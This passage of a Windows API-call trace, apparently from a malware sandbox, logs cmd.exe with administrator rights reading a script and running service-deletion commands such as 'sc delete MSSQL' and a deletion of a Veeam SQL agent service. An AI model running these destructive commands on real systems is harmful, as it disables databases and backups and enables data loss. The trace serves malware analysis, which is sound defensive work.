lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="MSQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="SLAgent$VEEAMSQL2012\"\n") returned 1 [0065.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="QAgent$VEEAMSQL2012\"\n") returned 1 [0065.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Lgent$VEEAMSQL2012\"\n") returned 1 [0065.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.537] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="\nent$VEEAMSQL2012\"\n") returned 1 [0065.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.537] GetFileType (hFile=0xb8) returned 0x3 [0065.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.537] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.537] GetFileType (hFile=0x120) returned 0x3 [0065.537] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQL\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQL\n", lpUsedDefaultChar=0x0) returned 17 [0065.537] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x10, lpOverlapped=0x0) returned 1 [0065.537] GetProcessHeap () returned 0x1b0000 [0065.537] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.537] GetProcessHeap () returned 0x1b0000 [0065.537] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.537] GetProcessHeap () returned 0x1b0000 [0065.537] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.537] GetProcessHeap () returned 0x1b0000 [0065.537] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.537] GetProcessHeap () returned 0x1b0000 [0065.538] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2c) returned 0x1c6510 [0065.538] GetConsoleOutputCP () returned 0x1b5 [0065.538] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.538] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.538] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.538] GetProcessHeap () returned 0x1b0000 [0065.538] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.538] GetProcessHeap () returned 0x1b0000 [0065.538] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6550 [0065.538] GetProcessHeap () returned 0x1b0000 [0065.538] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0065.538] SetErrorMode (uMode=0x0) returned 0x1 [0065.539] SetErrorMode (uMode=0x1) returned 0x0 [0065.539] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.539] SetErrorMode (uMode=0x1) returned 0x1 [0065.539] GetProcessHeap () returned 0x1b0000 [0065.539] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0065.539] GetProcessHeap () returned 0x1b0000 [0065.539] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0065.539] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.539] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.539] GetProcessHeap () returned 0x1b0000 [0065.539] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.539] GetProcessHeap () returned 0x1b0000 [0065.539] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.539] GetProcessHeap () returned 0x1b0000 [0065.539] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.539] GetProcessHeap () returned 0x1b0000 [0065.539] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0065.539] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.539] GetProcessHeap () returned 0x1b0000 [0065.539] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0065.539] GetProcessHeap () returned 0x1b0000 [0065.539] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0065.539] GetProcessHeap () returned 0x1b0000 [0065.539] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0065.540] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.540] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.540] GetLastError () returned 0x2 [0065.540] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.540] GetLastError () returned 0x2 [0065.540] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.540] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.541] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.541] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.541] GetLastError () returned 0x2 [0065.541] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.541] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.541] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0065.541] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0065.541] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.541] GetProcessHeap () returned 0x1b0000 [0065.541] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0065.541] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.542] GetProcessHeap () returned 0x1b0000 [0065.542] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x98) returned 0x1c9180 [0065.542] GetProcessHeap () returned 0x1b0000 [0065.542] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x98 [0065.542] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQL") returned 1 [0065.542] GetProcessHeap () returned 0x1b0000 [0065.542] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0065.542] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0065.542] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0065.542] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0065.543] GetProcessHeap () returned 0x1b0000 [0065.543] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.543] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0065.544] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.545] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.545] GetProcessHeap () returned 0x1b0000 [0065.545] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0065.545] GetProcessHeap () returned 0x1b0000 [0065.545] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0065.545] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQL", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQL", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete MSSQL", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xbd0, dwThreadId=0xbd4)) returned 1 [0065.549] CloseHandle (hObject=0x50) returned 1 [0065.549] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0065.549] GetProcessHeap () returned 0x1b0000 [0065.549] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0065.549] GetEnvironmentStringsW () returned 0x1d1b10* [0065.549] GetProcessHeap () returned 0x1b0000 [0065.549] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.549] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.549] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0065.550] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffde000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0065.550] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0065.601] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.601] CloseHandle (hObject=0x54) returned 1 [0065.601] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.602] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.602] GetProcessHeap () returned 0x1b0000 [0065.602] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.602] GetEnvironmentStringsW () returned 0x1d1b10* [0065.602] GetProcessHeap () returned 0x1b0000 [0065.602] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.602] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.602] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.602] GetProcessHeap () returned 0x1b0000 [0065.602] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.602] GetEnvironmentStringsW () returned 0x1d1b10* [0065.602] GetProcessHeap () returned 0x1b0000 [0065.602] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.602] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.602] GetProcessHeap () returned 0x1b0000 [0065.602] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.602] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.602] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.603] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.603] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.603] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.603] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.603] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.603] GetConsoleOutputCP () returned 0x1b5 [0065.604] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.604] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.604] GetProcessHeap () returned 0x1b0000 [0065.604] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.604] GetProcessHeap () returned 0x1b0000 [0065.604] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 